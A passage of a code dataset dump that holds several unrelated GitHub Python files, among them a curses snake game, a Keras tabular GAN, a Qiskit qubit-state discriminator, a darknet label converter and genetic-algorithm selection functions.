Food()\n\tstdscr.addstr(food.y,food.x,food.char)\n\tstdscr.refresh()\n\tsnake.extend = 5\n\twhile True:\n\t\tc = stdscr.getch()\n\t\tif c == curses.KEY_UP:\n\t\t\tsnake.face = 'N'\n\t\telif c == curses.KEY_DOWN:\n\t\t\tsnake.face = 'S'\n\t\telif c == curses.KEY_LEFT:\n\t\t\tsnake.face = 'W'\n\t\telif c == curses.KEY_RIGHT:\n\t\t\tsnake.face = 'E'\n\n\t\tif snake.face == 'N':\n\t\t\tsnake.y -= 1\n\t\telif snake.face == 'S':\n\t\t\tsnake.y += 1\n\t\telif snake.face == 'W':\n\t\t\tsnake.x -= 1\n\t\telif snake.face == 'E':\n\t\t\tsnake.x += 1\n\n\t\t# check if the snake hit itself\n\t\tif snake.body[-1] in snake.body[:-1]:\n\t\t\tstdscr.addstr(0,0,'You run into yourself!')\n\t\t\tstdscr.refresh()\n\t\t\tbreak\n\t\t# check if we teleport\n\t\tif snake.x < 1 and snake.face == 'W':\n\t\t\tsnake.x = 80\n\t\telif snake.x > 80 and snake.face == 'E':\n\t\t\tsnake.x = 1\n\t\telif snake.y < 2 and snake.face == 'N':\n\t\t\tsnake.y = 25\n\t\telif snake.y > 25 and snake.face == 'S':\n\t\t\tsnake.y = 2\n\n\t\t# remove tail\n\t\tif snake.extend == 0:\n\t\t\ttail = snake.tail()\n\t\t\tstdscr.addstr(tail[0],tail[1],' ')\n\t\telse:\n\t\t\tsnake.head()\n\t\t\t\n\t\t# check if we hit any food\n\t\tif snake.body[-1] == (food.y,food.x):\n\t\t\tsnake.score += food.score\n\t\t\tsnake.extend += food.extend\n\t\t\tstdscr.move(0,0)\n\t\t\tstdscr.clrtoeol()\n\t\t\tstdscr.addstr(0,0,'Score: ' + str(snake.score))\n\t\t\tfood.eaten = True\n\t\t\tfood = Food()\n\t\t\twhile (food.y,food.x) in snake.body:\n\t\t\t\tfood = Food()\n\t\t\tstdscr.addstr(food.y,food.x,food.char)\n\t\t# move snake\n\t\tstdscr.addstr(snake.y,snake.x,snake.char)\n\t\tstdscr.move(snake.y,snake.x)\n\n\t\tstdscr.refresh()\n\t\tcurses.napms(50)\n\tsleep(5)\n\ncurses.wrapper(run)\n","repo_name":"mulander/snake.py","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":2665,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"35131035041","text":"import numpy as np\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nimport scipy.stats\nimport pandas as pd\nimport os\nos.environ[\"KMP_DUPLICATE_LIB_OK\"] = \"TRUE\"\n\n# 在一个一维数据上训练一个生成对抗网络\n\nclass Tabular:\n def __init__(self, data, categorical_cols=None):\n self.categorical_cols = categorical_cols or []\n # 保存预处理后数据的类型\n self.map = {}\n self.data = self.pre_process(data)\n self.columns = data.columns\n # 一维数据的个数\n self.n_inputs = self.data.shape[1]\n # 隐空间的维度\n self.latent_dim = 10\n self.discriminator = self.define_discriminator()\n self.generator = self.define_generator()\n self.gan_model = self.define_gan(self.discriminator, self.generator)\n\n # 定义独立的判别器模型\n def define_discriminator(self):\n model = Sequential()\n model.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=self.n_inputs))\n model.add(Dense(30, activation='relu', kernel_initializer='he_uniform'))\n model.add(Dense(1, activation='sigmoid'))\n # 编译模型\n model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n return model\n\n # 定义独立的生成器模型\n def define_generator(self):\n model = Sequential()\n model.add(Dense(25, activation='relu', kernel_initializer='he_uniform', input_dim=self.latent_dim))\n model.add(Dense(30, activation='relu', kernel_initializer='he_uniform'))\n model.add(Dense(self.n_inputs, activation='linear'))\n return model\n\n # 定义合并的生成器和判别器模型,来更新生成器\n def define_gan(self, discriminator, generator):\n # 将判别器的权重设为不可训练\n discriminator.trainable = False\n # 连接它们\n model = Sequential()\n # 加入生成器\n model.add(generator)\n # 加入判别器\n model.add(discriminator)\n # 编译模型\n model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n return model\n\n # 用生成器生成 n 个假样本和类标签\n def generate_fake_samples(self, generator, latent_dim, n):\n # 在隐空间中生成点\n x_input = self.generate_latent_points(latent_dim, n)\n # 预测输出值\n X = generator.predict(x_input)\n # 创建类标签\n y = np.zeros((n, 1))\n return X.astype(np.float32), y.astype(np.float32)\n\n # 生成隐空间中的点作为生成器的输入\n def generate_latent_points(self, latent_dim, n):\n # 在隐空间中生成点\n x_input = np.random.randn(latent_dim * n)\n # 为网络调整一个 batch 输入的维度大小\n x_input = x_input.reshape(n, latent_dim)\n return x_input\n\n # 生成 n 个真实样本和类标签\n def generate_real_samples(self, n):\n assert len(self.data) >= n\n # 从样本集中随机选取n个样本\n idx = np.random.choice(range(len(self.data)), n, replace=False)\n X = self.data[idx, :]\n # 生成类标签\n y = np.ones((n, 1))\n return X.astype(np.float32), y.astype(np.float32)\n\n # 评估判别器并且绘制真假点\n def summarize_performance(self, epoch, n=50):\n # 准备真实样本\n x_real, y_real = self.generate_real_samples(n)\n # 在真实样本上评估判别器\n _, acc_real = self.discriminator.evaluate(x_real, y_real, verbose=0)\n # 准备假样本\n x_fake, y_fake = self.generate_fake_samples(self.generator, self.latent_dim, n)\n # 在假样本上评估判别器\n _, acc_fake = self.discriminator.evaluate(x_fake, y_fake, verbose=0)\n # 总结判别器性能\n print(epoch, acc_real, acc_fake)\n\n # 训练数据\n def train(self, n_epochs=10000, n_batch=128, n_eval=2000):\n # 用一半的 batch 数量来训练判别器\n half_batch = int(n_batch / 2)\n # 手动遍历 epoch\n\n for i in range(n_epochs):\n # 准备真实样本\n x_real, y_real = self.generate_real_samples(half_batch)\n # 准备假样本\n x_fake, y_fake = self.generate_fake_samples(self.generator, self.latent_dim, half_batch)\n # 更新判别器\n self.discriminator.train_on_batch(x_real, y_real)\n self.discriminator.train_on_batch(x_fake, y_fake)\n # 在隐空间中准备点作为生成器的输入\n x_gan = self.generate_latent_points(self.latent_dim, n_batch)\n # 为假样本创建反标签\n y_gan = np.ones((n_batch, 1))\n # 通过判别器的误差更新生成器\n self.gan_model.train_on_batch(x_gan, y_gan)\n # 为每 n_eval epoch 模型做评估\n if (i + 1) % n_eval == 0:\n self.summarize_performance(i)\n\n # 生成数据\n def generate(self, size=100):\n '''size can be list'''\n x_fake, y_fake = self.generate_fake_samples(self.generator, self.latent_dim, size)\n df = pd.DataFrame(x_fake)\n df.columns = self.columns\n df = self.post_process(df)\n return df\n\n # 数据预处理,需要将类别数据转换为数值数据\n def pre_process(self, data):\n copyData = pd.DataFrame(data)\n for item in self.categorical_cols:\n serice = copyData[item].value_counts()\n a = np.array(copyData[item])\n index = 0\n value = {}\n for key in serice.index:\n a[a == key] = index\n value[index] = key\n index += 1\n self.map[item] = value\n copyData[item] = a\n return np.array(copyData)\n\n # 数据后处理,需要将数据数据转换��类别数据,根据之前的数据对应关系\n def post_process(self, data):\n for item in self.categorical_cols:\n df = data.round({item: 0})\n a = np.array(df[item])\n a = a.astype('int')\n a[a < 0] = 0\n a[a >= len(self.map[item].items())] = len(self.map[item].items())-1\n a = a.astype('str')\n for key, value in self.map[item].items():\n a[a == str(key)] = value\n data[item] = a\n return data\n\n # 根据JS散度评估训练数据和生成数据的相似度\n def js_evaluate(self, data1, data2):\n dataNp1 = np.array(data1)\n dataNp2 = np.array(data2)\n return self._js_div(dataNp1.flatten(), dataNp2.flatten(), num_bins=20)\n\n def _js_divergence(self, p, q):\n M = (p + q) / 2\n return 0.5 * scipy.stats.entropy(p, M) + 0.5 * scipy.stats.entropy(q, M)\n\n def _js_div(self, arr1, arr2, num_bins):\n max0 = max(np.max(arr1), np.max(arr2))\n min0 = min(np.min(arr1), np.min(arr2))\n bins = np.linspace(min0 - 1e-4, max0 - 1e-4, num=num_bins)\n PDF1 = pd.cut(arr1, bins).value_counts() / len(arr1)\n PDF2 = pd.cut(arr2, bins).value_counts() / len(arr2)\n return self._js_divergence(PDF1.values, PDF2.values)\n\n\nif __name__ == '__main__':\n\n data_size = 200\n # 生成 [-0.5, 0.5] 范围内的输入值\n X1 = np.random.rand(data_size) - 0.5\n # 生成输出值 X^2\n X2 = np.square(X1)\n # 堆叠数组\n X1 = X1.reshape(data_size, 1)\n X2 = X2.reshape(data_size, 1)\n X = np.hstack((X1, X2))\n\n tabular = Tabular(X)\n tabular.train()\n print(tabular.generator())\n\n\n\n\n","repo_name":"liwenlongonly/synthetic_data_generating","sub_path":"synthetic_data_generating/models/tabular.py","file_name":"tabular.py","file_ext":"py","file_size_in_byte":7563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43157142317","text":"from setuptools import setup, find_packages\nfrom typing import List\n\nREQUIREMENT_FILE_NAME=\"requirements.txt\"\nHYPHEN_E_DOT =\"-e .\"\n\ndef get_requirements()->List[str]:\n \"\"\"\n Provides libraries names that we require for our project\"\"\"\n\n with open(REQUIREMENT_FILE_NAME) as requirement_file:\n requirement_list = requirement_file.readlines()\n requirement_list = [requirement_name.replace(\"\\n\",\"\") for requirement_name in requirement_list]\n \n if HYPHEN_E_DOT in requirement_list:\n requirement_list.remove(HYPHEN_E_DOT)\n return requirement_list\n\n\nsetup(\n name=\"sensor\",\n version=\"0.0.1\",\n author=\"ineuron\",\n author_email=\"ankur.yadav719@gmail.com\",\n packages = find_packages(),\n install_required= get_requirements()\n)","repo_name":"AnkurYadav00/aps-fault-detection-project","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36506235765","text":"# 백트레킹 풀이\ndef product(arr, tmp):\n if len(tmp) == length:\n return\n for i in arr:\n tmp += i\n kind.add(tmp)\n product(arr, tmp)\n tmp = tmp[:-1]\n\nN, K = map(int, input().split())\nlength = len(str(N))\narr = list(map(str, input().split()))\n\nkind = set()\nproduct(arr, '')\n\nkind = list(map(int, kind))\nkind.sort()\n\nfor i in range(len(kind)-1, -1, -1):\n if kind[i] <= N:\n print(kind[i])\n break\n\n'''\n# 라이브러리 사용 풀이\nfrom itertools import product\n\nN, K = map(int,input().split())\narr = list(map(str,input().split()))\nlength = len(str(N))\n\nkind = []\nfor i in range(1, length+1):\n tmp = list(map(int, set(map(''.join, product(arr, repeat=i)))))\n for j in tmp:\n kind.append(j)\n\nkind.sort()\n\nfor i in range(len(kind)-1, -1, -1):\n if kind[i] <= N:\n print(kind[i])\n break\n'''","repo_name":"sprudwns33/EggToChicken_Alorithm_study","sub_path":"Day06/baek_18511.py","file_name":"baek_18511.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5065399938","text":"import numpy as np\r\nimport qiskit.pulse.library as pulse_lib\r\nimport qiskit.pulse as pulse\r\nfrom qiskit.pulse.macros import measure_all\r\nfrom qiskit.compiler import assemble\r\nfrom qiskit.tools import job_monitor\r\nfrom qiskit import IBMQ\r\nimport matplotlib.pyplot as plt\r\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\r\nfrom sklearn.model_selection import train_test_split\r\nimport pickle\r\n\r\nprovider = IBMQ.load_account()\r\nbackend = provider.get_backend(\"ibmq_armonk\")\r\n\r\ndef get_pi_pulse_01(c):\r\n return pulse_lib.gaussian(duration=c[\"drive_samples\"], amp=c[\"pi_amp_01\"], sigma=c[\"drive_sigma\"], name=\"pi_pulse_01\")\r\n\r\ndef get_pi_pulse_12(c):\r\n pulse = pulse_lib.gaussian(duration=c[\"drive_samples\"], amp=c[\"pi_amp_12\"], sigma=c[\"drive_sigma\"], name=\"pi_pulse_12\")\r\n t_samples = np.linspace(0, c[\"dt\"]*c[\"drive_samples\"], c[\"drive_samples\"])\r\n sine_pulse = np.sin(2*np.pi*(c[\"qubit_12_freq\"]-c[\"cal_qubit_freq\"])*t_samples)\r\n return pulse_lib.SamplePulse(np.multiply(np.real(pulse.samples), sine_pulse), name='sideband_pulse')\r\n\r\ndef get_job_data(job, c):\r\n job_results = job.result(timeout=120)\r\n result_data = []\r\n for i in range(len(job_results.results)):\r\n result_data.append(job_results.get_memory(i)[:, 0]*c[\"scale_factor\"]) \r\n return result_data\r\n\r\ndef assemble_sched(sched, backend, c):\r\n d = pulse.DriveChannel(0)\r\n size = len(sched)\r\n return assemble(sched, backend=backend, meas_level=1, meas_return=\"single\", shots=1000, schedule_los=[{d: c[\"cal_qubit_freq\"]}]*size)\r\n\r\ndef IQ_plot(data, color, label, filename):\r\n plt.scatter(np.real(data), np.imag(data), s=5, cmap=\"viridis\", c=color, alpha=0.5, label=label)\r\n mean = np.mean(data)\r\n plt.scatter(np.real(mean), np.imag(mean), s=200, cmap=\"viridis\", c=\"black\",alpha=1.0)\r\n \r\n plt.xlim(-10, 20)\r\n plt.ylim(-25, 10)\r\n plt.legend()\r\n plt.ylabel(\"I [a.u.]\", fontsize=15)\r\n plt.xlabel(\"Q [a.u.]\", fontsize=15)\r\n plt.title(\"\", fontsize=15)\r\n plt.savefig(filename)\r\n plt.show()\r\n\r\ndef reshape_complex_vec(vec):\r\n length = len(vec)\r\n vec_reshaped = np.zeros((length, 2))\r\n for i in range(len(vec)):\r\n vec_reshaped[i]=[np.real(vec[i]), np.imag(vec[i])]\r\n return vec_reshaped\r\n\r\ndef train_discriminator(zero_data, one_data, two_data, shots):\r\n zero_data_reshaped = reshape_complex_vec(zero_data)\r\n one_data_reshaped = reshape_complex_vec(one_data) \r\n two_data_reshaped = reshape_complex_vec(two_data) \r\n IQ_012_data = np.concatenate((zero_data_reshaped, one_data_reshaped, two_data_reshaped))\r\n state_012 = np.zeros(shots)\r\n state_012 = np.concatenate((state_012, np.ones(shots)))\r\n state_012 = np.concatenate((state_012, 2*np.ones(shots)))\r\n\r\n # Shuffle and split data into training and test sets\r\n IQ_012_train, IQ_012_test, state_012_train, state_012_test = train_test_split(IQ_012_data, state_012, test_size=0.5)\r\n\r\n lda = LinearDiscriminantAnalysis()\r\n lda.fit(IQ_012_train, state_012_train)\r\n score_012 = lda.score(IQ_012_test, state_012_test)\r\n print(\"Test score: \", 100*score_012)\r\n return lda\r\n\r\ndef save_model(model, filename):\r\n with open(filename, 'wb') as file:\r\n pickle.dump(model, file)\r\n\r\ndef load_model(filename):\r\n with open(filename, 'rb') as file:\r\n return pickle.load(file)\r\n \r\ndef get_counts_from_data(data, model):\r\n data_reshaped = reshape_complex_vec(data)\r\n counts = {\"0\": 0, \"1\": 0, \"2\": 0}\r\n\r\n for i in data_reshaped:\r\n predict = model.predict(i.reshape(1, -1))\r\n if predict == 0:\r\n counts[\"0\"] += 1\r\n if predict == 1:\r\n counts[\"1\"] += 1\r\n if predict == 2:\r\n counts[\"2\"] += 1\r\n return counts\r\n\r\ncalibration = {\r\n \"backend_name\": \"ibmq_armonk\",\r\n \"calibration_date\": \"5-11-2020\",\r\n \"drive_samples\": 2688,\r\n \"drive_sigma\": 336,\r\n \"pi_amp_01\": 0.22109871419576962,\r\n \"pi_amp_12\": 0.36665303953291,\r\n \"cal_qubit_freq\": 4974529080.135406,\r\n \"scale_factor\": 1e-14,\r\n \"qubit_12_freq\": 4626195988.353748,\r\n \"dt\": 2.2222222222222221e-10\r\n}\r\n\r\npi_pulse_01 = get_pi_pulse_01(calibration)\r\npi_pulse_12 = get_pi_pulse_12(calibration)\r\n\r\ndrive_chan = pulse.DriveChannel(0)\r\n\r\nzero = pulse.Schedule(name=\"zero\")\r\nzero |= measure_all(backend)\r\n\r\none = pulse.Schedule(name=\"one\")\r\none |= pulse.Play(pi_pulse_01, drive_chan)\r\none |= measure_all(backend) << one.duration\r\n\r\ntwo = pulse.Schedule(name=\"two\")\r\ntwo |= pulse.Play(pi_pulse_01, drive_chan)\r\ntwo |= pulse.Play(pi_pulse_12, drive_chan) << two.duration\r\ntwo |= measure_all(backend) << two.duration\r\n\r\nprog = assemble_sched([zero, one, two], backend, calibration)\r\njob = backend.run(prog)\r\njob_monitor(job)\r\n\r\ndata = get_job_data(job, calibration)\r\n\r\nIQ_plot(data[0], \"blue\", r\"$|0\\rangle$\", \"zero_data.png\")\r\nIQ_plot(data[1], \"red\", r\"$|1\\rangle$\", \"one_data.png\")\r\nIQ_plot(data[2], \"green\", r\"$|2\\rangle$\", \"two_data.png\")\r\n\r\nlda = train_discriminator(data[0], data[1], data[2], 1000)\r\nsave_model(lda, \"012-discriminator.pkl\")\r\nprint(get_counts_from_data(data[0], lda))\r\nprint(get_counts_from_data(data[1], lda))\r\nprint(get_counts_from_data(data[2], lda))","repo_name":"Glowman554/quantum-goodnes","sub_path":"python/Accessing Higher Energy States.py","file_name":"Accessing Higher Energy States.py","file_ext":"py","file_size_in_byte":5171,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"73952006506","text":"import k2\ns1 = '''\n0 0 1 0.1\n0 1 2 0.2\n1 2 -1 0.3\n2\n'''\ns2 = '''\n0 1 1 1\n0 1 2 2\n1 2 -1 3\n2\n'''\na_fsa = k2.Fsa.from_str(s1)\nb_fsa = k2.Fsa.from_str(s2)\nc_fsa = k2.intersect(a_fsa, b_fsa)\nconnected = k2.connect(c_fsa)\na_fsa.draw('a_fsa_1.svg', title='a_fsa')\nb_fsa.draw('b_fsa_1.svg', title='b_fsa')\nc_fsa.draw('before_connect.svg', title='intersect(a_fsa, b_fsa)')\nconnected.draw('after_connect.svg', title='after connect')\n","repo_name":"k2-fsa/k2","sub_path":"docs/source/python_tutorials/fsa_algo/code/connect.py","file_name":"connect.py","file_ext":"py","file_size_in_byte":424,"program_lang":"python","lang":"en","doc_type":"code","stars":973,"dataset":"github-code","pt":"37"} +{"seq_id":"9288315269","text":"#!/usr/bin/python3\n\nfrom shutil import copyfile\nimport xml.etree.ElementTree as ET\nfrom os import listdir\nfrom os.path import isfile, join\nfrom shutil import copyfile\nimport os\nimport numpy as np\n\n# labelsFolders = ['labels/Luigi_Yoshi_Dreamland/' , 'labels/Luigi_Yoshi_DK_Jungle/' , 'labels/Luigi_Yoshi_DK_Island/', 'labels/Luigi_Kirby_Jiggly_Samus_Dreamland/', 'labels/DK_Ness_Kirby_Falcon_Dreamland_Castle/', 'labels/DK_Fox_Pika_Starfox/']\n\n\n# imageFolders = ['trainingImages/Luigi_Yoshi_Dreamland/' , 'trainingImages/Luigi_Yoshi_DK_Jungle/' , 'trainingImages/Luigi_Yoshi_DK_Island/', 'trainingImages/Luigi_Kirby_Jiggly_Samus_Dreamland/', 'trainingImages/DK_Ness_Kirby_Falcon_Dreamland_Castle/', 'labels/DK_Fox_Pika_Starfox/']\n# labelsFolders = [ 'DK_Fox_Pika_Starfox/']\n\ncreateDarknetLabels = True\n\nlabelsFolders = listdir('labels')\nimageFolders = listdir('labels')\n\n\n#Create a file to store the locations of images\nimageListFile = open('darknet/trainImages.list', 'w')\n\n#Some Global Variables\nimageNumber = int(0)\ncwd = os.getcwd()\n\nnumLabelsPerChar = np.zeros(12)\n\nfor folder in labelsFolders:\n\t\n\tonlyfiles = [f for f in listdir('labels/' + folder) if isfile(join('labels/' + folder, f))]\n\tfor xmlFile in onlyfiles:\n\t\tnum_boxes = 0\n\t\tdifficulty = False\n\t\tbndbox = []\n\t\tbndboxDarkNet = []\n\t\tlabel = []\n\t\tbndboxString = []\n\t\tbndboxStringDarkNet = []\n\n\n\t\t#Parse the XML file to create labels\n\t\ttree = ET.parse('labels/' + folder + '/' + xmlFile)\n\t\t\n\t\troot = tree.getroot()\n\t\tfor child in root:\n\t\t# print (child.tag)\n\t\t\tif(child.tag == \"filename\"):\n\t\t\t\tfilename = child.text\n\t\t\tif(child.tag == \"path\"):\n\t\t\t\tpath = child.text\n\t\t\tif (child.tag == \"object\"):\n\t\t\t\tfor child2 in child:\n\t\t\t\t\tif(child2.tag == \"difficult\"):\n\t\t\t\t\t\tif(child2.text is '1'):\n\t\t\t\t\t\t\tdifficulty = True\n\t\t\t\t\tif(child2.tag == \"name\"):\n\t\t\t\t\t# print(child2.text)\n\t\t\t\t\t\tif(child2.text == \"luigi\"):\n\t\t\t\t\t\t\tlabel.append(0)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[0] += 1\n\t\t\t\t\t\telif (child2.text == \"yoshi\"):\n\t\t\t\t\t\t\tlabel.append(1)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[1] += 1\n\t\t\t\t\t\telif (child2.text == \"DK\"):\n\t\t\t\t\t\t\tlabel.append(2)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[2] += 1\n\t\t\t\t\t\telif (child2.text == \"ness\"):\n\t\t\t\t\t\t\tlabel.append(3)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[3] += 1\n\t\t\t\t\t\telif (child2.text == \"mario\"):\n\t\t\t\t\t\t\tlabel.append(4)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[4] += 1\n\t\t\t\t\t\telif (child2.text == \"link\"):\n\t\t\t\t\t\t\tlabel.append(5)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[5] += 1\n\t\t\t\t\t\telif (child2.text == \"falcon\"):\n\t\t\t\t\t\t\tlabel.append(6)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[6] += 1\n\t\t\t\t\t\telif (child2.text == \"samus\"):\n\t\t\t\t\t\t\tlabel.append(7)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[7] += 1\n\t\t\t\t\t\telif (child2.text == \"kirby\"):\n\t\t\t\t\t\t\tlabel.append(8)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[8] += 1\n\t\t\t\t\t\telif (child2.text == \"pikachu\"):\n\t\t\t\t\t\t\tlabel.append(9)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[9] += 1\n\t\t\t\t\t\telif (child2.text == \"jigglypuff\"):\n\t\t\t\t\t\t\tlabel.append(10)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[10] += 1\n\t\t\t\t\t\telif (child2.text == \"fox\"):\n\t\t\t\t\t\t\tlabel.append(11)\n\t\t\t\t\t\t\tnum_boxes += 1\n\t\t\t\t\t\t\tnumLabelsPerChar[11] += 1\n\t\t\t\t\tif(child2.tag == \"bndbox\"):\n\n\t\t\t\t\t\tnumVals = 0\n\t\t\t\t\t\tfor child3 in child2:\n\t\t\t\t\t\t\tif (child3.tag == 'xmin'):\n\t\t\t\t\t\t\t\txmin = float(child3.text)\n\t\t\t\t\t\t\t\tnumVals += 1\n\t\t\t\t\t\t\tif (child3.tag == 'xmax'):\n\t\t\t\t\t\t\t\txmax = float(child3.text)\n\t\t\t\t\t\t\t\tnumVals += 1\n\t\t\t\t\t\t\tif (child3.tag == 'ymin'):\n\t\t\t\t\t\t\t\tymin = float(child3.text)\n\t\t\t\t\t\t\t\tnumVals += 1\n\t\t\t\t\t\t\tif (child3.tag == 'ymax'):\n\t\t\t\t\t\t\t\tymax = float(child3.text)\n\t\t\t\t\t\t\t\tnumVals += 1\n\n\n\t\t\t\t\t\tX = (xmin + xmax) / 2 / 720\n\t\t\t\t\t\tY = (ymin + ymax) / 2 / 480\n\t\t\t\t\t\tdX = (xmax - xmin) / 720\n\t\t\t\t\t\tdY = (ymax - ymin) / 480\n\t\t\t\t\t\t\n\t\t\t\t\t\t#If we didn't get 4 values from this file, disregard the image using difficulty flag\n\t\t\t\t\t\tif (numVals is not 4):\n\t\t\t\t\t\t\tdifficulty = True\n\n\t\t\t\t\t\tbndboxDarkNet.append([X, Y, dX, dY])\n\n\t\t\t\t\t\tif (dX < 0 or dY < 0):\n\t\t\t\t\t\t\tprint(\"Error less than 0!!!\")\n\t\t\t\t\t\t\tquit()\n\n\t\tif (not difficulty and num_boxes is not 0):\n\t\t\timageNumber += 1\n\t\t\t# Copy the image from its original directory to the new one\n\t\t\tsrcImage = 'trainingImages/' + folder + '/' + xmlFile[0:-4] + '.jpg'\n\t\t\tdstImage = 'darknet/trainImages/' + str(imageNumber).zfill(6) + '.jpg'\n\t\t\tcopyfile(srcImage, dstImage)\n\t\t\t\n\t\t\t#Write the name of the created image to our image list\n\t\t\timageListFile.write(cwd + '/' + dstImage + '\\n')\n\n\t\t\toutputLabelsDarknet = open('darknet/trainImages/' + str(imageNumber).zfill(6) + '.txt', 'w')\n\t\t\t# outputLabelsDarknet = open('darknet/labels/' + str(imageNumber).zfill(6) + '.txt', 'w')\n\t\t\t\n\t\t\tfor i in range(num_boxes):\n\t\t\t\t\t\n\t\t\t\tbndboxStringDarkNet.append(str(bndboxDarkNet[i][0]) + \" \" + str(bndboxDarkNet[i][1]) + \" \" + str(bndboxDarkNet[i][2]) + \" \" + str(bndboxDarkNet[i][3]))\n\n\t\t\tfor i in range(num_boxes):\n\t\t\t\tif i is not 0:\n\t\t\t\t\toutputLabelsDarknet.write('\\n')\n\t\t\t\toutputLabelsDarknet.write(str(label[i]) + \" \" + str(bndboxStringDarkNet[i]) )\n\n\t\t\toutputLabelsDarknet.close()\n\n\n\nprint(\"Number of chars\")\nprint(numLabelsPerChar)","repo_name":"msardonini/dataDNN","sub_path":"convertDatasetToDarknet.py","file_name":"convertDatasetToDarknet.py","file_ext":"py","file_size_in_byte":5107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12709481638","text":"import numpy as np\n\n#PARENT SELECTION\n#INPUT POPULATION/ SELECTED POPULATION - REPRESENTATION MATRIX AND FITNESS VECTOR\n\n#K MEMBERS TOURNEMENT SELECTION\n#I: pop,qual,dim,n,k - population matrix, fitness vector, population size, k-members\n#E: spop,squal - selected population, fitness vector\ndef turneu(pop,qual,dim,n,k):\n spop=pop.copy()\n squal=np.zeros(dim)\n for it in range(dim):\n poz=np.random.randint(0,dim,k)\n v=[qual[poz[i]] for i in range(k)]\n M=max(v)\n p=np.where(v==M)\n imax=p[0][0]\n isel=poz[imax]\n spop[it][:]=pop[isel][:]\n squal[it]=qual[isel]\n return spop, squal\n\n\n# ROULETTE WHEEL & SUS MECHANISMS\n#\n# FPS selection probability\n# I: qual,dim - fitness vector of size dim\n# E: qfps - cumulated distribution\ndef fps(qual,dim):\n fps=np.zeros(dim)\n suma=np.sum(qual)\n for i in range (dim):\n fps[i] = qual[i]/suma\n qfps=fps.copy()\n for i in range(1, dim):\n qfps[i]=qfps[i-1]+fps[i]\n return qfps\n\n#SIGMA SCALING FPS\n# I: qual,dim - fitness vector of size dim\n# E: qfps - cumulated distribution\ndef sigmafps(qual, dim):\n med=np.mean(qual)\n var=np.std(qual)\n newq=[max(0,qual[i]-(med-2*var)) for i in range(dim)]\n if np.sum(newq)==0:\n qfps=fps(qual,dim)\n else:\n qfps=fps(newq,dim)\n return qfps\n\n\n# RANKING SELECTION - LINEAR\n# I: dim - population size\n# s - selection pressure\n# E: qlr - cumulated distribution\ndef lrang(dim,s):\n lr=[(2-s)/dim+2*(i+1)*(s-1)/(dim*(dim+1)) for i in range(dim)]\n qlr=lr.copy()\n for i in range(1, dim):\n qlr[i]=qlr[i-1]+qlr[i]\n return np.array(qlr)\n\n# ROULETTE WHEEL -SIGMA-SCALING FPS\n#I: pop,qual,dim,n- population matrix, fitness vector, population size\n#E: spop,squal - selected population and fitness vector\n\n\ndef ruleta(pop,qual,dim,n):\n spop=pop.copy()\n squal=np.zeros(dim)\n qfps=sigmafps(qual,dim)\n for it in range(dim):\n r=np.random.uniform(0,1)\n poz=np.where(qfps>=r)\n isel=poz[0][0]\n spop[it][:]=pop[isel][:]\n squal[it]=qual[isel]\n return spop, squal\n\n# sort pop based on qual, ascending order\n#I: pop,qual,dim- population matrix, fitness vector, population size\n# E: pops, quals - sorted versions\ndef sort_pop(pop,qual):\n indici=np.argsort(qual)\n pops=pop[indici]\n quals=qual[indici]\n return pops,quals\n\n#ROULETTE WHELE - LINEAR RANKING SELECTION\n# THE INPUT POPULATION IS SORTED\n# I: pop,qual,dim,n,s - population matrix, fitness vector, population size pop-dim x n, selection pressure\n#E: spop,squal - selected population and fitness vector\ndef ruleta_rang(pop,qual,dim,n,s):\n spop=pop.copy()\n squal=np.zeros(dim)\n qr=lrang(dim,s)\n for it in range(dim):\n r=np.random.uniform(0,1)\n poz=np.where(qr>=r)\n isel=poz[0][0]\n spop[it][:]=pop[isel][:]\n squal[it]=qual[isel]\n return spop, squal\n\n\n#SUS - LINEAR RANKING SELECTION\n# THE INPUT POPULATION IS NOT SORTED\n# I: pop,qual,dim,n,s - population matrix, fitness vector, population size pop-dim x n, selection pressure\n#E: pop_s,qual_s - selected population and fitness vector\ndef SUS_rangl(pop,qual,dim,n,s):\n pop,qual=sort_pop(pop, qual)\n spop=pop.copy()\n squal=np.zeros(dim)\n qfps=lrang(dim,s)\n r=np.random.uniform(0,1/dim)\n k,i=0,0\n while (kmax_mo:\n p1=np.where(qual_c==max_c)\n imax=p1[0][0]\n ir=np.random.randint(dim)\n pop[ir]=pop_c[imax].copy()\n qual[ir]=max_c\n return pop,qual\n\n\n\n#GENITOR\n#I: pop_c,qual_c,pop_mo,qual_mo, dim, dimc - current population & 